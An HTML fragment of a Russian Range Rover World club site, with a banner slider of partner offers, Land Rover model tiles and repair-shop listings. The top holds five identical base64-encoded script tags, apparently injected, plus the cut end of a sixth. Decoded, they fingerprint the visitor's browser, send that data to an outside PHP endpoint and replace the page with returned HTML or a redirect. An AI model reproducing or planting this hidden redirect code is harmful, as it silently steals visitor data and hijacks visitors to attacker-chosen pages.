VSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script> <script type="text/javascript" src="/bitrix/templates/newnew/assets/js/slick.min.js"></script>
<div class="slider__block">
<div class="home__slider">
<div id="bx_3218110189_2813" class="sl_cont" style="background: url(/upload/iblock/377/rolf-yasenevo-diler-lend-rover-yaguar.jpg) no-repeat top center; background-size: cover;">
<img src="/upload/iblock/377/rolf-yasenevo-diler-lend-rover-yaguar.jpg" border="0">
<div class="slider__description">
<div class="slider__txt">
<h2>РОЛЬФ LAND ROVER ЯСЕНЕВО</h2>
ПАРТНЕРСКАЯ ПРОГРАММА RANGE ROVER WORLD </div>
</div>
</div>
<div id="bx_3218110189_3105" class="sl_cont" style="background: url(/upload/iblock/abf/Logotip-Baner-Autosecurity.jpg) no-repeat top center; background-size: cover;">
<img src="/upload/iblock/abf/Logotip-Baner-Autosecurity.jpg" border="0">
<div class="slider__description">
<div class="slider__txt">
<h2>ПАРТНЕР RANGE ROVER WORLD</h2>
Autosecurity - Безопасность Детейлинг Тюнинг </div>
</div>
</div>
<div id="bx_3218110189_3074" class="sl_cont" style="background: url(/upload/iblock/cb0/Baner-Burevestnik-glavnyy.jpg) no-repeat top center; background-size: cover;">
<img src="/upload/iblock/cb0/Baner-Burevestnik-glavnyy.jpg" border="0">
<div class="slider__description">
<div class="slider__txt">
<h2>BUREVESTNIK GROUP</h2>
КАТЕРА И ЯХТЫ </div>
</div>
</div>
<div id="bx_3218110189_3441" class="sl_cont" style="background: url(/upload/iblock/4c3/Baner-bolshoy-Houdini.jpg) no-repeat top center; background-size: cover;">
<img src="/upload/iblock/4c3/Baner-bolshoy-Houdini.jpg" border="0">
<div class="slider__description">
<div class="slider__txt">
<h2>РЕСТОРАН HOUDINI</h2>
ПАРТНЕРСКАЯ ПРОГРАММА </div>
</div>
</div>
<div id="bx_3218110189_3298" class="sl_cont" style="background: url(/upload/iblock/498/Morendi-chip-tyuning-dvigatelya-avtomobilya-deteyling-keramika.jpg) no-repeat top center; background-size: cover;">
<img src="/upload/iblock/498/Morendi-chip-tyuning-dvigatelya-avtomobilya-deteyling-keramika.jpg" border="0">
<div class="slider__description">
<div class="slider__txt">
<h2>ПАРТНЕР RANGE ROVER WORLD</h2>
MORENDI - ЧИП ТЮНИНГ ДВИГАТЕЛЯ </div>
</div>
</div>
<div id="bx_3218110189_3090" class="sl_cont" style="background: url(/upload/iblock/3c9/JLR-YAguar-Lend-Rover-Glavnyy-baner.jpeg) no-repeat top center; background-size: cover;">
<img src="/upload/iblock/3c9/JLR-YAguar-Lend-Rover-Glavnyy-baner.jpeg" border="0">
<div class="slider__description">
<div class="slider__txt">
<h2>ПАРТНЕР ПРОЕКТА RANGE ROVER WORLD</h2>
Jaguar Land Rover в России </div>
</div>
</div>
<div id="bx_3218110189_2798" class="sl_cont" style="background: url(/upload/iblock/690/a1baner.jpg) no-repeat top center; background-size: cover;">
<img src="/upload/iblock/690/a1baner.jpg" border="0">
<div class="slider__description">
<div class="slider__txt">
<h2>ТЮНИНГ ЦЕНТР A 1</h2>
ПАРТНЕР RANGE ROVER WORLD </div>
</div>
</div>
<div id="bx_3218110189_786" class="sl_cont" style="background: url(/upload/iblock/e2b/Keramik-Pro-Glavnyy-banner-RendzhRoverVorld1.jpg) no-repeat top center; background-size: cover;">
<img src="/upload/iblock/e2b/Keramik-Pro-Glavnyy-banner-RendzhRoverVorld1.jpg" border="0">
<div class="slider__description">
<div class="slider__txt">
<h2>CERAMIC PRO</h2>
Партнерская программа Range Rover World </div>
</div>
</div>
</div>
<script type="text/javascript">
$('.home__slider').slick({
dots: true,
autoplay: true,
autoplaySpeed: 6000
});
</script> </div>
<div class="container-fluid">
<div class="row cars__block">
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_1847241719_17">
<img src="/upload/iblock/1c2/1c293cdc138d2e8744e2a2e3fc608ba9.png" alt="RANGE ROVER" title="RANGE ROVER">
<h4>RANGE ROVER</h4>
<p>Вершина неповторимых возможностей</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_1847241719_18">
<img src="/upload/iblock/163/163251d4dc583ff0696ca0b6e01f1291.png" alt="RANGE ROVER SPORT" title="RANGE ROVER SPORT">
<h4>RANGE ROVER SPORT</h4>
<p>Самый динамичный и маневренный Land Rover</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_1847241719_23">
<img src="/upload/iblock/081/Image_from_Skype.png" alt="RANGE ROVER VELAR" title="RANGE ROVER VELAR">
<h4>RANGE ROVER VELAR</h4>
<p>Отражение уверенности и яркой индивидуальности</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_1847241719_19">
<img src="/upload/iblock/e79/e79d3b474a6b0ea0ac4c47a761f418df.png" alt="RANGE ROVER EVOQUE" title="RANGE ROVER EVOQUE">
<h4>RANGE ROVER EVOQUE</h4>
<p>Истинный Range Rover с уникальным дизайном</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_1847241719_20">
<img src="/upload/iblock/2e2/DISCOVERY-NOVYY.png" alt="DISCOVERY" title="DISCOVERY">
<h4>DISCOVERY</h4>
<p>Универсальный и готовый к любым приключениям</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_1847241719_21">
<img src="/upload/iblock/c90/c90092dd0cf093b458dccafd3d2494b7.png" alt="DISCOVERY SPORT" title="DISCOVERY SPORT">
<h4>DISCOVERY SPORT</h4>
<p>Самый универсальный компактный внедорожник</p>
</div>
</div>
<!--div class="row cars__block">
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_4145281613_24">
<img src="/upload/iblock/970/970b511132084c6dffecd18a8e9b66d8.png" alt="XE" title="XE">
<h4>XE</h4>
<p>Воплощение породы, элегантности и спортивного духа</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_4145281613_27">
<img src="/upload/iblock/795/795d9fac80cac0bd1090c25165319a73.png" alt="XF" title="XF">
<h4>XF</h4>
<p>Бесстрашный Jaguar, имеющий элегантные формы и непревзойдённые ходовые качества</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_4145281613_28">
<img src="/upload/iblock/bf0/bf02e9c422fffc6d75f3e850f3b92bb4.png" alt="XJ" title="XJ">
<h4>XJ</h4>
<p>Бизнес-седан - изысканная роскошь и внушительная мощность в сочетании с современными технологиями</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_4145281613_50">
<img src="/upload/iblock/06e/06e4268f6a510729cd4aca3aad71e48c.png" alt="F-TYPE" title="F-TYPE">
<h4>F-TYPE</h4>
<p>Поражает роскошью и спортивным дизайном</p>
</div>
<div class="col-md-2 hidden-sm hidden-xs car__in" id="bx_4145281613_49">
<img src="/upload/iblock/023/0232190db971ab230952969968ce0865.png" alt="F-PACE" title="F-PACE">
<h4>F-PACE</h4>
<p>Новый мощный кроссовер, самая последняя разработка</p>
</div>
</div-->
<div class="row">
<div class="col-md-6 part__title rg__bord">
<div class="item_p title">
<div class="inner__item">
<h2>ПРЕДЛОЖЕНИЯ АВТОПАРТНЕРОВ </h2>
<!-- <a class="partner__btn_2" href="#">Стать партнером</a> -->
</div>
</div>
<div class="item_p" id="bx_651765591_197">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/ad7/Arteks-Range-Rover-Sport-Range-Rover-World-_36_.jpg" alt="Ремонт и запчасти Land Rover. Скидки 10 %.">
</div>
<div class="part__descript">
<span class="avialon">ЛР Север</span>
<h3>Ремонт и запчасти Land Rover. Скидки 10 %.</h3>
<p>Специализированный техцентр ЛР Север по ремонту Land Rover. Оригинальные запчасти. Сезонные скидки.</p>
<b>Тех центр</b>
<a class="read__more" href="/forum/forum100/2375-lr_sever.-tekh-tsentr./">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_651765591_198">
<div class="inner__item">
<div class="partners__image">
<img src="/upload/iblock/35e/Land-Rover-Zelenograd-zamena-lobovogo-stekla-tekhtsentr-Range-rover-world-_29_.jpg" alt="Ремонт и запчасти Land Rover. Скидки 10 %.">
</div>
<div class="part__descript">
<span class="avialon">LR Север Зеленоград</span>
<h3>Ремонт и запчасти Land Rover. Скидки 10 %.</h3>
<p>Специализированный техцентр по ремонту Land Rover и Jaguar. Оригинальные запчасти. Сезонные скидки.</p>
<b>Тех центр</b>
<a class="read__more" href="/forum/forum100/2177-fotoreportazhka-o-lr-sever-zelenograd/">Подробнее</a>
</div>
</div>
</div>
<div class="item_p" id="bx_651765591_192">
<div class="inner__item">
<div class="partners__image">
